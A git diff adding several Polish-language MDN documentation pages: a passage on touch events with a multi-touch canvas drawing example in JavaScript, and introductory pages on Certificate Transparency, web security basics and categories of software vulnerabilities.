+ <dd>Punkt kontaktu z powierzchnią. Może to być palec (lub łokieć, ucho, nos, cokolwiek, ale najczęściej jednak palec) lub rysik.</dd> +</dl> + +<h2 id="Interfejsy">Interfejsy</h2> + +<dl> + <dt>{{domxref("TouchEvent")}}</dt> + <dd>Reprezentuje zdarzenie, które zachodzi, gdy stan dotknięć powierzchni się zmienia.</dd> + <dt>{{domxref("Touch")}}</dt> + <dd>Reprezentuje pojedynczy punkt kontaktu między użytkownikiem a powierzchnią dotykową.</dd> + <dt>{{domxref("TouchList")}}</dt> + <dd>Reprezentuje grupę dotknięć; jest używany, gdy na przykład użytkownik dotyka powierzchni wieloma palcami jednocześnie.</dd> +</dl> + +<h2 id="Przykład">Przykład</h2> + +<p>Poniższy przykład śledzi wiele dotknięć w jednym czasie, pozwalając użytkownikowi na rysowanie w elemencie {{HTMLElement("canvas")}} przy użyciu więcej niż jednego palca jednocześnie. Kod ten będzie działać jedynie w przeglądarkach wspierających zdarzenia dotykowe.</p> + +<div class="note"><strong>Uwaga:</strong> W niniejszym tekście słowo „palec” używane jest do opisania kontaktu z powierzchnią dotykową, ale może to być oczywiście także rysik lub dowolna inna metoda dotykania ekranu.</div> + +<h3 id="Stwórz_kanwę">Stwórz kanwę</h3> + +<pre class="brush: html"><canvas id="canvas" width="600" height="600" style="border:solid black 1px;"> + Twoja przeglądarka nie wspiera elementu kanwa (canvas). +</canvas> +<br> +<button onclick="startup()">Initialize</button> +<br> +Log: <pre id="log" style="border: 1px solid #ccc;"></pre> +</pre> + +<h3 id="Ustawianie_funkcji_do_obsługi_zdarzeń">Ustawianie funkcji do obsługi zdarzeń</h3> + +<p>Kiedy strona się ładuje, pokazana niżej funkcja <code>startup()</code> powinna być wywołana przez atrybut <code>onload</code> naszego elementu {{HTMLElement("body")}} (choć w przykładzie używamy przycisku do jej uruchomienia, ze względu na ograniczenia systemu przykłądów w MDN).</p> + +<pre class="brush: js">function startup() { + var el = document.getElementsByTagName("canvas")[0]; + el.addEventListener("touchstart", handleStart, false); + el.addEventListener("touchend", handleEnd, false); + el.addEventListener("touchcancel", handleCancel, false); + el.addEventListener("touchmove", handleMove, false); + console.log("initialized."); +} +</pre> + +<p>Funkcja ta po prostu ustawia nasłluchiwanie zdarzeń dla naszego elementu {{HTMLElement("canvas")}}, tak że możemy obsłużyć zdarzenia dotykowe, kiedy się pojawią.</p> + +<h4 id="Śledzenie_nowych_zdarzeń">Śledzenie nowych zdarzeń</h4> + +<p>We'll keep track of the touches in-progress.</p> + +<pre class="brush: js">var ongoingTouches = []; +</pre> + +<p>When a {{event("touchstart")}} event occurs, indicating that a new touch on the surface has occurred, the <code>handleStart()</code> function below is called.</p> + +<pre class="brush: js">function handleStart(evt) { + evt.preventDefault(); + console.log("touchstart."); + var el = document.getElementsByTagName("canvas")[0]; + var ctx = el.getContext("2d"); + var touches = evt.changedTouches; + + for (var i = 0; i < touches.length; i++) { + console.log("touchstart:" + i + "..."); + ongoingTouches.push(copyTouch(touches[i])); + var color = colorForTouch(touches[i]); + ctx.beginPath(); + ctx.arc(touches[i].pageX, touches[i].pageY, 4, 0, 2 * Math.PI, false); // a circle at the start + ctx.fillStyle = color; + ctx.fill(); + console.log("touchstart:" + i + "."); + } +} +</pre> + +<p>This calls {{domxref("event.preventDefault()")}} to keep the browser from continuing to process the touch event (this also prevents a mouse event from also being delivered). Then we get the context and pull the list of changed touch points out of the event's {{domxref("TouchEvent.changedTouches")}} property.</p> + +<p>After that, we iterate over all the {{domxref("Touch")}} objects in the list, pushing them onto an array of active touch points and drawing the start point for the draw as a small circle; we're using a 4-pixel wide line, so a 4 pixel radius circle will show up neatly.</p> + +<h4 id="Drawing_as_the_touches_move">Drawing as the touches move</h4> + +<p>Each time one or more fingers moves, a {{event("touchmove")}} event is delivered, resulting in our <code>handleMove()</code> function being called. Its responsibility in this example is to update the cached touch information and to draw a line from the previous position to the current position of each touch.</p> + +<pre class="brush: js">function handleMove(evt) { + evt.preventDefault(); + var el = document.getElementsByTagName("canvas")[0]; + var ctx = el.getContext("2d"); + var touches = evt.changedTouches; + + for (var i = 0; i < touches.length; i++) { + var color = colorForTouch(touches[i]); + var idx = ongoingTouchIndexById(touches[i].identifier); + + if (idx >= 0) { + console.log("continuing touch "+idx); + ctx.beginPath(); + console.log("ctx.moveTo(" + ongoingTouches[idx].pageX + ", " + ongoingTouches[idx].pageY + ");"); + ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY); + console.log("ctx.lineTo(" + touches[i].pageX + ", " + touches[i].pageY + ");"); + ctx.lineTo(touches[i].pageX, touches[i].pageY); + ctx.lineWidth = 4; + ctx.strokeStyle = color; + ctx.stroke(); + + ongoingTouches.splice(idx, 1, copyTouch(touches[i])); // swap in the new touch record + console.log("."); + } else { + console.log("can't figure out which touch to continue"); + } + } +} +</pre> + +<p>This iterates over the changed touches as well, but it looks in our cached touch information array for the previous information about each touch in order to determine the starting point for each touch's new line segment to be drawn. This is done by looking at each touch's {{domxref("Touch.identifier")}} property. This property is a unique integer for each touch, and remains consistent for each event during the duration of each finger's contact with the surface.</p> + +<p>This lets us get the coordinates of the previous position of each touch and use the appropriate context methods to draw a line segment joining the two positions together.</p> + +<p>After drawing the line, we call <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice"><code>Array.splice()</code></a> to replace the previous information about the touch point with the current information in the <code>ongoingTouches</code> array.</p> + +<h4 id="Handling_the_end_of_a_touch">Handling the end of a touch</h4> + +<p>When the user lifts a finger off the surface, a {{event("touchend")}} event is sent. We handle this by calling the <code>handleEnd()</code> function below. Its job is to draw the last line segment for each touch that ended and remove the touch point from the ongoing touch list.</p> + +<pre class="brush: js">function handleEnd(evt) { + evt.preventDefault(); + log("touchend"); + var el = document.getElementsByTagName("canvas")[0]; + var ctx = el.getContext("2d"); + var touches = evt.changedTouches; + + for (var i = 0; i < touches.length; i++) { + var color = colorForTouch(touches[i]); + var idx = ongoingTouchIndexById(touches[i].identifier); + + if (idx >= 0) { + ctx.lineWidth = 4; + ctx.fillStyle = color; + ctx.beginPath(); + ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY); + ctx.lineTo(touches[i].pageX, touches[i].pageY); + ctx.fillRect(touches[i].pageX - 4, touches[i].pageY - 4, 8, 8); // and a square at the end + ongoingTouches.splice(idx, 1); // remove it; we're done + } else { + console.log("can't figure out which touch to end"); + } + } +} +</pre> + +<p>This is very similar to the previous function; the only real differences are that we draw a small square to mark the end and that when we call <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice"><code>Array.splice()</code></a>, we simply remove the old entry from the ongoing touch list, without adding in the updated information. The result is that we stop tracking that touch point.</p> + +<h4 id="Handling_canceled_touches">Handling canceled touches</h4> + +<p>If the user's finger wanders into browser UI, or the touch otherwise needs to be canceled, the {{event("touchcancel")}} event is sent, and we call the <code>handleCancel()</code> function below.</p> + +<pre class="brush: js">function handleCancel(evt) { + evt.preventDefault(); + console.log("touchcancel."); + var touches = evt.changedTouches; + + for (var i = 0; i < touches.length; i++) { + var idx = ongoingTouchIndexById(touches[i].identifier); + ongoingTouches.splice(idx, 1); // remove it; we're done + } +} +</pre> + +<p>Since the idea is to immediately abort the touch, we simply remove it from the ongoing touch list without drawing a final line segment.</p> + +<h3 id="Convenience_functions">Convenience functions</h3> + +<p>This example uses two convenience functions that should be looked at briefly to help make the rest of the code more clear.</p> + +<h4 id="Selecting_a_color_for_each_touch">Selecting a color for each touch</h4> + +<p>In order to make each touch's drawing look different, the <code>colorForTouch()</code> function is used to pick a color based on the touch's unique identifier. This identifier is an opaque number, but we can at least rely on it differing between the currently-active touches.</p> + +<pre class="brush: js">function colorForTouch(touch) { + var r = touch.identifier % 16; + var g = Math.floor(touch.identifier / 3) % 16; + var b = Math.floor(touch.identifier / 7) % 16; + r = r.toString(16); // make it a hex digit + g = g.toString(16); // make it a hex digit + b = b.toString(16); // make it a hex digit + var color = "#" + r + g + b; + console.log("color for touch with identifier " + touch.identifier + " = " + color); + return color; +} +</pre> + +<p>The result from this function is a string that can be used when calling {{HTMLElement("canvas")}} functions to set drawing colors. For example, for a {{domxref("Touch.identifier")}} value of 10, the resulting string is "#a31".</p> + +<h4 id="Copying_a_touch_object">Copying a touch object</h4> + +<p>Some browsers (mobile Safari, for one) re-use touch objects between events, so it's best to copy the bits you care about, rather than referencing the entire object.</p> + +<pre class="brush: js">function copyTouch(touch) { + return { identifier: touch.identifier, pageX: touch.pageX, pageY: touch.pageY }; +}</pre> + +<h4 id="Finding_an_ongoing_touch">Finding an ongoing touch</h4> + +<p>The <code>ongoingTouchIndexById()</code> function below scans through the <code>ongoingTouches</code> array to find the touch matching the given identifier, then returns that touch's index into the array.</p> + +<pre class="brush: js">function ongoingTouchIndexById(idToFind) { + for (var i = 0; i < ongoingTouches.length; i++) { + var id = ongoingTouches[i].identifier; + + if (id == idToFind) { + return i; + } + } + return -1; // not found +} +</pre> + +<h4 id="Showing_whats_going_on">Showing what's going on</h4> + +<pre class="brush: js">function log(msg) { + var p = document.getElementById('log'); + p.innerHTML = msg + "\n" + p.innerHTML; +}</pre> + +<p>If your browser supports it, you can {{LiveSampleLink('Example', 'see it live')}}.</p> + +<p><a href="http://jsfiddle.net/Darbicus/z3Xdx/10/">jsFiddle example</a></p> + +<h2 id="Dodatkowe_wskazówki">Dodatkowe wskazówki</h2> + +<p>This section provides additional tips on how to handle touch events in your web application.</p> + +<h3 id="Obsługa_kliknięć">Obsługa kliknięć</h3> + +<p>Since calling <code>preventDefault()</code> on a {{event("touchstart")}} or the first {{event("touchmove")}} event of a series prevents the corresponding mouse events from firing, it's common to call <code>preventDefault()</code> on {{event("touchmove")}} rather than {{event("touchstart")}}. That way, mouse events can still fire and things like links will continue to work. Alternatively, some frameworks have taken to refiring touch events as mouse events for this same purpose. (This example is oversimplified and may result in strange behavior. It is only intended as a guide.)</p> + +<pre class="brush: js">function onTouch(evt) { + evt.preventDefault(); + if (evt.touches.length > 1 || (evt.type == "touchend" && evt.touches.length > 0)) + return; + + var newEvt = document.createEvent("MouseEvents"); + var type = null; + var touch = null; + + switch (evt.type) { + case "touchstart": + type = "mousedown"; + touch = evt.changedTouches[0]; + break; + case "touchmove": + type = "mousemove"; + touch = evt.changedTouches[0]; + break; + case "touchend": + type = "mouseup"; + touch = evt.changedTouches[0]; + break; + } + + newEvt.initMouseEvent(type, true, true, evt.originalTarget.ownerDocument.defaultView, 0, + touch.screenX, touch.screenY, touch.clientX, touch.clientY, + evt.ctrlKey, evt.altKey, evt.shiftKey, evt.metaKey, 0, null); + evt.originalTarget.dispatchEvent(newEvt); +} +</pre> + +<h3 id="Calling_preventDefault_only_on_a_second_touch">Calling preventDefault() only on a second touch</h3> + +<p>One technique for preventing things like <code>pinchZoom</code> on a page is to call <code>preventDefault()</code> on the second touch in a series. This behavior is not well defined in the touch events spec, and results in different behavior for different browsers (i.e., iOS will prevent zooming but still allow panning with both fingers; Android will allow zooming but not panning; Opera and Firefox currently prevent all panning and zooming.) Currently, it's not recommended to depend on any particular behavior in this case, but rather to depend on meta viewport to prevent zooming.</p> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('Touch Events 2', '#touch-interface', 'Touch')}}</td> + <td>{{Spec2('Touch Events 2')}}</td> + <td>Added <code>radiusX</code>, <code>radiusY</code>, <code>rotationAngle</code>, <code>force</code> properties</td> + </tr> + <tr> + <td>{{SpecName('Touch Events', '#touch-interface', 'Touch')}}</td> + <td>{{Spec2('Touch Events')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + +<h3 id="Touch"><code>Touch</code></h3> + +<p>Touch events are typically available on devices with a touch screen, but many browsers make the touch events API unavailable on all desktop devices, even those with touch screens.</p> + +<p>The reason for this is that some websites use the availability of parts of the touch events API as an indicator that the browser is running on a mobile device. If the touch events API is available, these websites will assume a mobile device and serve mobile-optimised content. This may then provide a poor experience for users of desktop devices that have touch screens.</p> + +<p>To support both touch and mouse across all types of device, use <a href="/en-US/docs/Web/API/Pointer_events">pointer events</a> instead.</p> + + + +<p>{{Compat("api.Touch")}}</p> + +<h3 id="Firefox_touch_events_and_multiprocess_e10s">Firefox, touch events, and multiprocess (e10s)</h3> + +<p>In Firefox, touch events are disabled when e10s (electrolysis; <a href="/en-US/docs/Mozilla/Firefox/Multiprocess_Firefox">multiprocess Firefox</a>) is disabled. e10s is on by default in Firefox, but can end up becoming disabled in certain situations, for example when certain accessibility tools or Firefox add-ons are installed that require e10s to be disabled to work. This means that even on a touchscreen-enabled desktop/laptop, touch events won't be enabled.</p> + +<p>You can test whether e10s is disabled by going to <code>about:support</code> and looking at the "Multiprocess Windows" entry in the "Application Basics" section. 1/1 means it is enabled, 0/1 means disabled.</p> + +<p>If you want to force e10s to be on — to explicitly re-enable touch events support — you need to go to <code>about:config</code> and create a new Boolean preference <code>browser.tabs.remote.force-enable</code>. Set it to <code>true</code>, restart the browser, and e10s will be enabled regardless of any other settings.</p> diff --git a/files/pl/web/bezpieczeństwo/certificate_transparency/index.html b/files/pl/web/bezpieczeństwo/certificate_transparency/index.html new file mode 100644 index 0000000000..7a9b814c43 --- /dev/null +++ b/files/pl/web/bezpieczeństwo/certificate_transparency/index.html @@ -0,0 +1,63 @@ +--- +title: Certificate Transparency +slug: Web/Bezpieczeństwo/Certificate_Transparency +tags: + - Bezpieczeństwo + - Web + - bezpieczeństwo aplikacji WWW +translation_of: Web/Security/Certificate_Transparency +--- +<p><span class="seoSummary"><strong>Certyfikat Przejrzystości (Certificate Transparency)</strong></span> to otwarta platforma programistyczna (framework) stworzona do ochrony oraz monitorowania braków w certyfikacji. Świeżo wydane certyfikaty dostają się do obiegu publicznego, często niezależne logi CT zostają wpisane do rejestru, przez co zachowany zostaje zabezpieczony kryptograficznie rekord certyfikatów TLS.</p> + +<p>W ten sposób organy certyfikujące (CA) mogą podlegać znacznie większemu, publicznemu nadzorowi i kontroli. Potencjalnie szkodliwe certyfikaty, jak te, które naruszają <em>Podstawowe Wymogi </em>CA/B Forum mogą zostać znacznie sprawniej wykryte i cofnięte. Podmioty zajmujące się sprzedażą przeglądarek oraz opiekuni certyfikatów zaufanych są również uprawnieni do podejmowania gruntowniej popartych decyzji dot. problematycznych organów certyfikujących, którym mogą odmowić zaufania.</p> + +<h2 id="Kontekst">Kontekst</h2> + +<p>Logi CT są budowane w ramach struktury danych drzewa Merkla (Merkle tree). Węzły są oznaczane hashami kryptograficznymi ich węzłów potomnych. Liście (leaf nodes) zawierają hashe aktualnych części danych. Oznaczenie węzła głównego (root node) zależy jednakże od wszystkich pozostałych węzłów w drzewie.</p> + +<p>W kontekście przejrzystości certyfikacji dane hashowane przez liście są certyfikatami wydawanymi obecnie przez różne CA. Obecność certyfikatu może zostać zweryfikowana przez <em>dowód kontroli </em>skutecznie generowany i weryfikowany w czasie działania logarytmicznego - logarithmic O(log n) time.</p> + +<p>Pierwotnie, w 2013 roku przejrzystość certyfikacji służyła przeciwdziałaniu narażania CA (naruszenia DigiNotar w 2011 roku), wątpliwym decyzjom (incydent Trustwave subordinate root w 2012 roku) oraz technicznym problemom wydawniczym (emisja słabego, 512-bitowego certyfikatu przez Digicert Sdn Bhd w Malezji)</p> + +<h2 class="western" id="Wdrożenie">Wdrożenie</h2> + +<p>Gdy certyfikaty zostają dostarczone do rejestru CT, <em>znacznik SCT</em> (<em>signed certificate timestamp</em>) zostaje wygenerowany i zwrócony. Służy to jako dowód, że certyfikat został dostarczony i zostanie dodany do rejestru.</p> + +<p>Wg specyfikacji podczas komunikacji serwery zgodne muszą dostarczać numery tych SCTów do klientów TLS. Może do tego dojść na kilka różnych sposobów:</p> + +<ul> + <li>rozszerzenie certyfikatu X.509v3, które umieszczają znaczniki SCT bezpośrednio do certyfikatów liści</li> + <li>rozszerzenie TLS typu <code>signed_certificate_timestamp</code> wysyłane podczas uzgadniania (handshake)</li> + <li>"zszywanie" OCSP (rozszerzenie TLS <code>status_request</code>) i dostarczanie <code>SignedCertificateTimestampList</code> z jednym lub większą liczbą SCTsów</li> +</ul> + +<p>Przy rozszerzeniu certyfikatu X.509 o włączonych SCTsach decydują organy certyfikujące. Przy stosowaniu tego typu mechanizmu nie powinna istnieć potrzeba modyfikacji serwerów webowych.</p> + +<p>W przypadku ostatnich metod serwery powinny być aktualizowane, aby móc wysyłać żądane dane. Korzyść stanowi fakt, że operator serwera może modyfikować źródła rejestru CT dostarczając SCTsy wysyłane przez rozszerzenie TLS/"zszytą" odpowiedź OCSP.</p> + +<h2 id="Wymagania_przeglądarki">Wymagania przeglądarki</h2> + +<p>Google Chrome wymaga umieszczania rejestru CT dla wszystkich kwestii związanych z emisjami certyfkatów z datą notBefore po 30 kwietnia 2018 roku. Użytkownicy zostaną uchronieni przed odwiedzaniem stron używających niezgodnych certyfikatów TLS. Wcześniej Chrome wymagało umieszczania <em>Rozszerzonej Walidacji</em> (EV) oraz certyfikatów wydawanych przez Symantec.</p> + +<p>Apple <a href="https://support.apple.com/en-gb/HT205280">wymaga</a> zróżnicowanej liczby SCTsów dla Safari i innych serwerów celem zaufania certyfikatom.</p> + +<p>Firefox aktualnie ani <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1281469">nie sprawdza</a> ani nie wymaga stosowania rejestru CT dla stron odwiedzanych przez użytkowników.</p> + +<p>Nagłówek <a href="/en-US/docs/Web/HTTP/Headers/Expect-CT">Expect-CT </a>może zostać użyty do żądania, by przeglądarka zawsze wymuszała wymóg przejrzystości certyfikacji (np. w Chrome nawet, jeśli certyfikat został wydany z datą notBefore, przed kwietniem)</p> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td><a class="external external-icon" href="https://tools.ietf.org/html/rfc6962" hreflang="en" lang="en" rel="noopener">Certificate Transparency</a></td> + <td><span class="spec-RFC">IETF RFC</span></td> + <td></td> + </tr> + </tbody> +</table> diff --git a/files/pl/web/bezpieczeństwo/index.html b/files/pl/web/bezpieczeństwo/index.html new file mode 100644 index 0000000000..0d3cdd2c07 --- /dev/null +++ b/files/pl/web/bezpieczeństwo/index.html @@ -0,0 +1,24 @@ +--- +title: Bezpieczeństwo aplikacji WWW +slug: Web/Bezpieczeństwo +tags: + - Bezpieczeństwo + - Web + - bezpieczeństwo aplikacji WWW +translation_of: Web/Security +--- +<div class="summary"> +<p>Zapewnienie bezpieczeństwa Twojej strony lub aplikacji WWW jest niezwykle istotne. Nawet proste błędy w kodzie mogą skutkować wyciekiem prywatnych danych i ich kradzieżą przez nieodpowiednie osoby. Wymienione tutaj artykuły dot. bezpieczeństwa aplikacji WWW dostarczą Ci informacji, które mogą okazać się pomocne w zabezpieczeniu Twojej strony i jej kodu przez atakami i kradzieżą danych.</p> +</div> + +<p>{{LandingPageListSubpages}}</p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li><a href="https://lists.mozilla.org/listinfo/dev-security">Mozilla mailing list</a></li> + <li><a href="https://blog.mozilla.com/security/">Blog</a></li> + <li><a href="https://twitter.com/mozsec">@mozsec on Twitter</a></li> +</ul> + +<p>{{QuickLinksWithSubpages}}</p> diff --git a/files/pl/web/bezpieczeństwo/podstawy_bezpieczenstwa_informacji/index.html b/files/pl/web/bezpieczeństwo/podstawy_bezpieczenstwa_informacji/index.html new file mode 100644 index 0000000000..93555b6a71 --- /dev/null +++ b/files/pl/web/bezpieczeństwo/podstawy_bezpieczenstwa_informacji/index.html @@ -0,0 +1,36 @@ +--- +title: Podstawy bezpieczeństwa informacji +slug: Web/Bezpieczeństwo/Podstawy_bezpieczenstwa_informacji +tags: + - Bezpieczeństwo + - Początkujący + - bezpieczeństwo aplikacji WWW +translation_of: Web/Security/Information_Security_Basics +--- +<p>Podstawowa znajomość bezpieczeństwa informacji może pomóc Ci uniknąć pozostawiania Twojego oprogramowania i stron WWW niezabezpieczonych oraz zawierających podatności, które później mogą zostać wykorzystane do osiągnięcia korzyści finansowych lub do innych, podejrzanych celów. Te arykuły mogą Ci pomóc zdobyć potrzebną bazę wiedzy.Dzięki zapoznaniu się z nimi będziesz świadomy/a, jak ważne jest bezpieczeństwo podczas tworzenia stron WWW oraz podczas implementacji treści.</p> + +<dl> + <dt><a href="/en-US/Learn/Confidentiality,_Integrity,_and_Availability">Poufność, Integralność i Dostępność</a></dt> + <dd> + <p>Opisuje najważniejsze cele bezpieczeństwa, które są absolutnie niezbędne do zrozumienia istoty bezpieczeństwa</p> + </dd> + <dt><a href="/en-US/Learn/Vulnerabilities">Podatności</a></dt> + <dd>Definiuje główne kategorie podatności i omawia obecność podatności w każdym oprogramowaniu</dd> + <dt><a href="/en-US/Learn/Threats">Zagrożenia</a></dt> + <dd>Krótko przedstawia główne zagrożenia</dd> + <dt><a href="/en-US/Learn/Security_Controls">Kontrole Bezpieczeństwa</a></dt> + <dd>Definiuje główne kategorie kontroli bezpieczeństwa i omawia ich potencjalne wady</dd> + <dt><a href="/en-US/Learn/TCP_IP_Security">Bezpieczeństwo TCP/IP</a></dt> + <dd>Zarys modelu TCP/IP z naciskiem na aspekty bezpieczeństwa SSL</dd> +</dl> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li><a href="/en-US/docs/Mozilla/Security">Bezpieczeństwo przeglądarek</a></li> + <li><a href="/en-US/docs/Web/Security">Bezpieczeństwo webowe</a></li> + <li><a href="/en-US/docs/Web/Security/Securing_your_site">Zabezpieczanie Twojej strony WWW</a></li> + <li><a href="/en-US/docs/Security/Firefox_Security_Basics_For_Developers">Podstawy Bezpieczeństwa Firefoxa dla Developerów</a></li> +</ul> + +<p>{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}</p> diff --git a/files/pl/web/bezpieczeństwo/podstawy_bezpieczenstwa_informacji/podatnosci/index.html b/files/pl/web/bezpieczeństwo/podstawy_bezpieczenstwa_informacji/podatnosci/index.html new file mode 100644 index 0000000000..772145243a --- /dev/null +++ b/files/pl/web/bezpieczeństwo/podstawy_bezpieczenstwa_informacji/podatnosci/index.html @@ -0,0 +1,100 @@ +--- +title: Podatności +slug: Web/Bezpieczeństwo/Podstawy_bezpieczenstwa_informacji/Podatnosci +tags: + - Bezpieczeństwo + - Początkujący + - Tutorial + - bezpieczeństwo aplikacji WWW + - podatności + - samouczek +translation_of: Archive/Security/Vulnerabilities +--- +<div class="summary"> +<p>Niniejszy artykuł tłumaczy czym są podatności i omawia ich występowanie we wszystkich systemach.</p> + +<p>Podatność to słabość systemu, która może zostać wykorzystana do naruszenia poufności, integralności i/lub dostępności. Podatności można kategoryzować na wiele sposobów. W tym artykule użyjemy trzech kategorii najwyższego ryzyka: usterki oprogramowania, problemy przy konfiguracji zabezpieczeń i nadużycie funkcji oprogramowania. Kategorie te zostały umówione poniżej.</p> +</div> + +<h2 id="Kategorie_podatności">Kategorie podatności</h2> + +<p><em>Usterki oprogramowania</em> są wynikiem niezamierzonego błędu w architekturze lub samym kodzie oprogramowania. Jako przykład może posłużyć błąd przy weryfikacji wprowadzanych danych, np. kiedy dane wprowadzane przez użytkownika nie są prawidłowo sprawdzane pod kątem prób wprowadzania szkodliwych stringów używających nieporządanych znaków czy zbyt długich wartości wiązanych ze znanymi atakami. Inny przykład to błąd dopuszczający sytuację wyścigu ("race condition"), przez który atakujący może przeprowadzić określone działanie posiadając podniesione uprawnienia.</p> + +<p>Ustawienia konfiguracji bezpieczeństwa to element bezpieczeństwa oprogramowania który może zostać zmieniony przez samo oprogramowanie. Przykłady ustawień to np. system operacyjny oferujący dostęp do listy kontrolnej przydzielającej prawa użytkowników do odczytu i modyfikacji plików oraz np. aplikacja dopuszczająca umożliwianie lub uniemożliwianie szyfrowania danych wrażlliwych znajdujących się w aplikacji.</p> + +<p><em>Problemy przy konfiguracji zabezpieczeń </em>to m.in. używanie ustawień konfiguracji bezpieczeństwa w sposób, który ma negatywny wpływ na bezpieczeństwo oprogramowania.</p> + +<p>Cecha oprogamowania to możliwość funkcyjna udostępniona przez oprogramowanie. <em>Podatność na nadużycie funkcji oprogramowania</em> to taki typ podatności, w której dana funkcja stanowi dziurę bezpieczeństwa systemu. Tego typu podatności stwarza projektant oprogramowania, gdy aby uzyskać dodatkowe funkcje oprogramowania zakłada idylliczny scenariusz i ryzykuje tym samym podatność na ewentualne ataki.</p> + +<p>Na przykład, oprogramowanie klienckie email może zawierać funkcjonalność, która umożliwia wyrenderowanie treści HTML w wiadomościach email. Atakujący może w tej sytuacji stworzyć fałszywy mail zawierający hiperlink, który po wyrenderowaniu w HTML wygląda na nieszkodliwy, a w rzeczywistości po kliknięciu przekierowuje odbiorcę na szkodliwą stronę. Jednym z idyllicznych założeń w fazie projektowania funkcji renderowania treści HTML była myśl, że użytkownicy nie otrzymają szkodliwych hiperlinków i nie będą w nie klikać.</p> + +<p>Podatności nadużycia funkcji oprogramowania pojawiają się podczas projektowania oprogramowania lub jego komponentów (np. protokół, który oprogramowanie wdraża). Idylliczne założenia mogą być oczywiste - np. projektant jest świadomy słabości bezpieczeństwa i zakłada, że oddzielna kontrola bezpieczeństwa wystarczy.</p> + +<p>Często jednak założenia idylliczne są dwuznaczne, chociażby utworzenie funkcji bez wcześniejszego ocenienia ryzyka. Dodatkowo zagrożenia mogą się zmieniać w czasie życia oprogramowania czy protokołu w nim użytego.</p> + +<p>Przykład? Address Resolution Protocol (ARP) zakłada, że odpowiedź ARP zawiera prawidłowe mapowanie pomiędzy adresami Media Access Control (MAC) a Internet Protocol (IP). Cache ARP używają tej informacji, by umożliwić przydatne działanie - zezwolenie na wysyłanie danych pomiędzy urządzeniami w jednej sieci lokalnej. Jednakże atakujący mógłby wygenerować fałszywe komunikaty ARP celem zmylenia tabli systemowej ARP i w ten sposób przeporwadzić atak denial-of-service lub man-in-the-middle attack.</p> + +<p>Protokuł ARP został ustandaryzowany ponad 25 lat temu, a zagrożenia znacząco się od tego czasu zmieniły, więc założenia idylliczne, które były wówczas nie do uniknięcia dziś nie mają już raczej racji bytu.</p> + +<p>Może być ciężko odróżnić podatność nadużycia funkcji oprogramowania od pozostałych dwóch kategorii. Np. zarówno podatności związane z wadami, jak i nadużyciami mogą wynikać z braków w procesie projektowania oprogramowania. Jednakże wady oprogramowania są jednoznacznie negatywne - nie mają cech pozytywnych w odniesieniu do bezpieczeństwa czy funkcjonalności - podczas gdy podatności na nadużycia funkcji oprogramowania są wynikiem dostarczania dodatkowych funkcji.</p> + +<p>Mogą mylić podatności na nadużycia w odniesieniu do funkcji, które można odblokowywać lub zablokowywać - w rozumieniu, że są konfigurowalne - a kwestie konfiguracji bezpieczeństwa. Kluczową różnicą jest to, że przy podatności na nadużycia ustawienia bezpieczeństwa umożliwiają lub blokują całą funkcję, a nie wpływają jedynie na bezpieczeństwo. Podatność wynikająca z konfiguracji bezpieczeństwa dotyczy wyłącznie bezpieczeństwa.</p> + +<p>Np. ustawienie blokujące używanie HTML w mailach ma ogromny wpływ na zarówno kwestię bezpieczeństwa, jak i funkcjonalności. W tym przypadku podatność w odniesieniu do ustawienia będzie podatnością związaną z nadużyciem. Ustawienie blokujące funkcję antiphishingową w kliencie pocztowym ma ogromny wpływ wyłącznie na bezpieczeństwo, więc podatność dot. takiego ustawienia byłaby określona jako podatność w związku z konfiguracją bezpieczeństwa.</p> + +<h2 id="Obecność_podatności">Obecność podatności</h2> + +<p>Żaden system nie jest w 100% bezpieczny: każdy system ma podatności. W danym momencie system może nie posiadać żadnych widocznych wad, ale podatności na problemy z konfiguracją bezpieczeństwa i nadużycia funkcji oprogramowania są zawsze obecne.</p> + +<p>Podatność na nadużycia w przypadku funkcji oprogramowania jest nieodłączna, ponieważ każda funkcjonalność musi być opierana na założeniach idyllicznych - a te założenia mogą zostać złamane mimo dołożenia ogromnych wysiłków i poniesienia sporych kosztów. Kwestie konfiguracji bezpieczeństwa są nie do uniknięcia z dwóch powodów.</p> + +<p>Po pierwsze, wiele ustawień konfiguracyjnych zwiększa bezpieczeństwo kosztem funkcjonalności, więc używanie najbezpieczniejszych ustawień może doprowadzić do bezużyteczności oprogramowania. Po drugie, wiele ustawień bezpieczeństwa ma zarówno pozytywne, jak i negatywne kosekwencje względem bezpieczeństwa.</p> + +<p>Przykładem jest dopuszczona liczba następujących po sobie, nieudanych prób logowania na konto użytkownika zanim zostanie ono zablokowane. Ustawiając ją na 1 uzyskalibyśmy najbezpieczniejszą opcję przeciw atakom opartym na zgadywaniu haseł, ale jednocześnie blokowalibyśmy legalnych użytkowników po tym, jak jednokrotnie wpisaliby złe hasło. Co więcej, prawdopodobnie zachęciłoby to do używania przez atakujących ataków typu denial-of-service z racji łatwości generowania pojedynczej, nieudanej próby logowania dla wszystkich kont użytkowników.</p> + +<p>Z powodu liczby nieuniknionych podatności w ustawieniach konfiguracji bezpieczeństwa i możliwości nadużyć funkcji oprogramowania plus liczby podatności na wady oprogramowania w systemie niezależnie od czasu, każdy system może posiadać dziesiątki, jak nie setki podatności w jednym tylko systemie.</p> + +<p>Te podatności prawdopodobnie posiadają zróżnicowane cechy. Część będzie łatwa do wykorzystania, podczas gdy inne będą możliwe do wykorzystania jedynie w sytuacji zaistnienia kombinacji wysoce nieprawdopodobnych warunków.</p> + +<p>Jedna podatność może skutkować dostępem do systemu na poziomie administratora, podczas gdy inna jedynie umożliwiać odczyt nieistotnego pliku.</p> + 